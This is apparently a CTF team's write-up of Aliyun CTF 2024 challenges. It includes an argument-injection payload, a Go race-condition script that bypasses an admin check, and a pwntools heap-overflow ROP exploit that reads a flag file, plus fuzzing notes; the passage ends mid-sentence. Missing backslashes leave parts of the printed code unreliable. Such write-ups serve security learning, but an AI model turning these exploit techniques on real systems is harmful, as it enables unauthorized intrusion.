由杭州电子科技大学Vidar战队、西安电子科技大学L战队、电子科技大学CNSS战队以及杭州凌武科技有限公司凌武实验室战队联合组成的El3ctronic战队,在阿里云CTF 2024中,面对国内外各大强队,获得了第四名的佳绩!
OUTLINE
Web
-
web签到
-
Pastbin
-
easyCAS
Re
-
欧拉
Pwn
-
Pwn sign in
-
klang
-
Netatalk
Crypto
-
BabyDH1
-
BabyDH2
-
Doctored Dobbertin v2
Misc
-
帕鲁情感管理
Web
web签到
{“domain”:”a.a”,”type”:”-f/flag”}
Pastbin
func (rtr *Router) Handle(method string, pattern string, handlers []Handler) {
rtr.handle(method, pattern, func(resp http.ResponseWriter, req *http.Request) {
c := rtr.m.createContext(resp, req)
for _, h := range handlers {
c.mws = append(c.mws, getMWFromHandler(h))
}
c.run()
})
}
slice数据竞争,同个底层数组的情况下,可能会出现c.mws被其他goroutine的append数据覆盖
用三个请求,使得第一个非/flag请求的后续两个handler被/flag路由覆盖,再由第三个请求覆盖/flag的第一个handler取消adminOnly
package main
import (
"fmt"
"io"
"log"
"net/http"
"os"
"strings"
)
var url = "http://web2.aliyunctf.com:35084"
func main() {
limiter1 := make(chan struct{}, 64)
limiter2 := make(chan struct{}, 32)
go func() {
for {
limiter1 <- struct{}{}
go func() {
if SendSlash() {
os.Exit(0)
}
}()
<-limiter1
limiter1 <- struct{}{}
go func() {
if SendSlash() {
os.Exit(0)
}
}()
<-limiter1
<-limiter2
}
}()
var i = 0
go func() {
for {
limiter2 <- struct{}{}
i++
fmt.Println("try", i)
go func() {
if SendFlag() {
os.Exit(0)
}
}()
}
}()
select {}
}
func SendSlash() bool {
get, err := http.Get(url + "/")
if err != nil {
log.Println(err)
}
if get != nil {
defer get.Body.Close()
return checkBody(get.Body)
}
return false
}
func SendFlag() bool {
get, err := http.Get(url + "/flag")
if err != nil {
log.Println(err)
}
if get != nil {
defer get.Body.Close()
return checkBody(get.Body)
}
return false
}
func checkBody(rd io.Reader) bool {
data, _ := io.ReadAll(rd)
if data == nil {
return false
}
if strings.Contains(string(data), "aliyunctf{") {
fmt.Println(string(data))
return true
}
return false
}
easyCAS
log4j,cas-server会打印username
Re
欧拉
ida分析题目里给了无向图,根据check条件和题目可知是解一个有限制条件的欧拉回路。直接解即可,加上aliyunctf{}即可。
int mmm={...};
int e[10][10],use[10][10];
int flag[20];
void dfs(int u,int len){
flag[len]=u;
if(len==17){
if(flag[1]>flag[2] && flag[3]<flag[4]&&flag[0] == flag[8]&&flag[11] == flag[15]&&flag[10] > flag[5]&&flag[3] < flag[13]&&flag[7] < flag[4]&&flag[14] == 7&&flag[17] == 4){
for(int i=0;i<18;i++)
printf("%d",flag[i]);
puts("");
exit(0);
}
return;
}
for(int v=0;v<9;v++)
if(e[u][v]&&!use[u][v]){
use[u][v]=use[v][u]=1;
dfs(v,len+1);
use[u][v]=use[v][u]=0;
}
}
int main(){
freopen("1.out","w",stdout);
for(int i=0;i<9;i++){
for(int j=0;j<9;j++){
e[i][j]=mmm[i*9+j];
// printf("%d ",e[i][j]);
}
// puts("");
}
for(int i=0;i<9;i++)
dfs(i,0);
return 0;
}
085134620568327814
Pwn
Pwn sign in
扣1malloc+edit
0x2d44处存在溢出,c0(改名后)0x300大小,但read0x500,可以覆盖ptr的值
leak libc:
def show_ptr():
nums = [0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1]
io.sendlineafter(b'hhh', b'1')
io.sendlineafter(b'size', str(0x500).encode())
io.send(b'n')
for i in nums:
io.sendline(str(i).encode())
io.sendlineafter(b'hhh', b'2')
https://www.cnblogs.com/LynneHuan/p/16104042.html
#!/usr/bin/python3.8
# -*- encoding: utf-8 -*-
from pwn import *
from ctools import *
context(os="linux", arch="amd64", terminal=['tmux', 'splitw', '-h', '-F' '{pane_pid}', '-P'])
# context.log_level = "debug"
proc = './pwn-sign_in'
libc_path = './libc-2.31.so'
init_proc_with_libc(proc, libc_path)
DEBUG = lambda script = '': gdb.attach(io, gdbscript=script)
# io = process([proc])
# io = process(['./ld-2.23.so', proc], env={'LD_PRELOAD': libc_path})
io = remote('pwn0.aliyunctf.com', 9999)
elf = ELF(proc)
libc = ELF(libc_path, checksec=False)
def assign_val(chunk_size, data, arrays):
io.sendafter(b"hhhn", b"1".ljust(4, b"x00"))
io.sendlineafter(b"size???n", str(chunk_size).encode())
io.sendline(data)
io.recvline(b"Lucky Numbersn")
for i in arrays:
io.sendline(str(i).encode())
def get_array(*indexs):
arr = [0] * 16
for i in indexs:
arr[i] = 3
return arr
def leak_addr():
arr = get_array(15, 13, 2, 3, 4, 14)
assign_val(0x500, b"a"*8, arr)
io.sendafter(b"hhhn", b"2".ljust(4, b"x00"))
# libc_base = recv_libc_addr(io, offset=0x1ebbe0)
# log_libc_base_addr(libc_base)
io.recvuntil(b'a' * 0x8)
libc.address = u64(io.recv(6).ljust(8, b'x00')) - 0x1ebbe0 - 0x1000
success(hex(libc.address))
def rop_attack():
arr = get_array(15, 1, 2, 3, 4, 14, 6)
assign_val(0x10, b"deadbeef", arr)
io.sendafter(b"hhhn", b"2".ljust(4, b"x00"))
io.sendafter(b"xmkin", cyclic(0x200, n=8))
for _ in range(0x42):
io.sendline(str(0x61616161).encode())
io.sendline(b"-")
io.sendline(b"-")
io.sendline(str(0x61616161).encode())
io.sendline(str(0x61616161).encode())
rop = ROP(libc)
target_addr = libc.symbols['__free_hook'] + 0x10
rop.call('read', [0, target_addr, 0x100])
rop.call('open', [target_addr, 0, 0])
rop.call('read', [3, target_addr, 0x50])
rop.call('write', [1, target_addr, 0x50])
payload = p64(libc.address + 0x119434) + rop.chain()
print(rop.dump())
for i in range(0, len(payload), 4):
num = u32(payload[i:i+4])
io.sendline(str(num).encode())
# DEBUG('b * $rebase(0x2512)')
for _ in range(0x200-0x42-4-(len(payload) // 4)):
io.sendline(str(0x61616161).encode())
sleep(1)
io.sendline(b'/flag.txtx00')
io.interactive()
def exp():
leak_addr()
rop_attack()
if __name__ == "__main__":
exp()
klang
I tried to write a toy compiler from scratch, but it's buggy af. Hopefully it's not insecure!
nc pwn2.aliyunctf.com 9999
attachment
手动加 #include<functional>
function printNumbers(int n) : int i -> void{
i := 0;
do {
printi(i);
i := i + 1;
} while (i <= n);
return;
}
function arrayTest() : int i, array arr -> void {
i := 0;
arr := array_new(10);
do {
printi(arr[0]);
i := i + 1;
} while (i <= 10);
return;
}
function main() : -> int {
prints("123");
printNumbers(10);
arrayTest();
return 0;
}
看 AST.cpp 比较清楚
编译命令(要把 wrapper.S 和 main.c 还有 api.c 一起链接):
gcc -no-pie -o out ./out.S ./src/runtime/wrapper.S ./src/runtime/main.c ./src/runtime/api.c
可以把 ASAN 打开编译一次再 Fuzz,改这一行就行:
跑的时候记得关掉运行时内存泄漏检查:
ASAN_OPTIONS=detect_leaks=0 ./src/build/compiler/klang_asan ./1.k
(不知道哪里搞错了fuzz没跑起来(( afl-fuzz 说我的种子直接crash 了, 但是我自己手动跑是可以的((
看看脚本
klang/src/build via △ v3.28.3
❯ echo $ASAN_OPTIONS
detect_leaks=0,abort_on_error=1,symbolize=0
klang/src/build via △ v3.28.3
❯ ./compiler/klang out_dir/default/queue/id:000000,time:0,execs:0,orig:a
klang/src/build via △ v3.28.3
❯ echo $?
0
klang/src/build via △ v3.28.3
❯ afl-fuzz -i ./in_dir -o ./out_dir -- ./compiler/klang @@
afl-fuzz++4.08c based on afl by Michal Zalewski and a large online community
[+] AFL++ is maintained by Marc "van Hauser" Heuse, Dominik Maier, Andrea Fioraldi and Heiko "hexcoder" Eißfeldt
[+] AFL++ is open source, get it at https://github.com/AFLplusplus/AFLplusplus
[+] NOTE: AFL++ >= v3 has changed defaults and behaviours - see README.md
[+] Enabled environment variable ASAN_OPTIONS with value detect_leaks=0,abort_on_error=1,symbolize=0
[+] No -M/-S set, autoconfiguring for "-S default"
[*] Getting to work...
[+] Using exponential power schedule (FAST)
[+] Enabled testcache with 50 MB
[+] Generating fuzz data with a length of min=1 max=1048576
[*] Checking core_pattern...
[*] Checking CPU scaling governor...
[+] You have 20 CPU cores and 3 runnable tasks (utilization: 15%).
[+] Try parallel jobs - see /usr/share/doc/aflplusplus-4.08c-r1/fuzzing_in_depth.md#c-using-multiple-cores
[*] Setting up output directories...
[+] Output directory exists but deemed OK to reuse.
[*] Deleting old session data...
[+] Output dir cleanup successful.
[*] Checking CPU core loadout...
[+] Found a free CPU core, try binding to #0.
[*] Scanning './in_dir'...
[+] Loaded a total of 1 seeds.
[*] Creating hard links for all input files...
[*] Validating target binary...
[*] Spinning up the fork server...
[+] All right - fork server is up.
[*] Target map size: 11357
[*] No auto-generated dictionary tokens to reuse.
[*] Attempting dry run with 'id:000000,time:0,execs:0,orig:a'...
[-] Oops, the program crashed with one of the test cases provided. There are
several possible explanations:
- The test case causes known crashes under normal working conditions. If
so, please remove it. The fuzzer should be seeded with interesting
inputs - but not ones that cause an outright crash.
- In QEMU persistent mode the selected address(es) for the loop are not
properly cleaning up variables and memory. Try adding
AFL_QEMU_PERSISTENT_GPR=1 or select better addresses in the binary.
- Least likely, there is a horrible bug in the fuzzer. If other options
fail, poke the Awesome Fuzzing Discord for troubleshooting tips.
[!] WARNING: Test case 'id:000000,time:0,execs:0,orig:a' results in a crash, skipping
[+] All test cases processed.
[-] PROGRAM ABORT : We need at least one valid input seed that does not crash!
Location : main(), src/afl-fuzz.c:2388
有 @@ 可以不用 — 了
试了也不行, 改了persistent跑起来了
我这能跑起来:
ASAN_OPTIONS=detect_leaks=0,abort_on_error=1,symbolize=0 afl-fuzz -i ./fuzz/in -o ./fuzz/out ./src/build/compiler/klang @@
就是开了 ASAN 跑起来感觉误报不少
flex scanner jammed, 得改改(((
把 lexererror 改成直接返回, parse 的时候catch一下error, 可以过滤掉 parse 不了而报的错
出了个栈溢出
筛了一下, 就是 “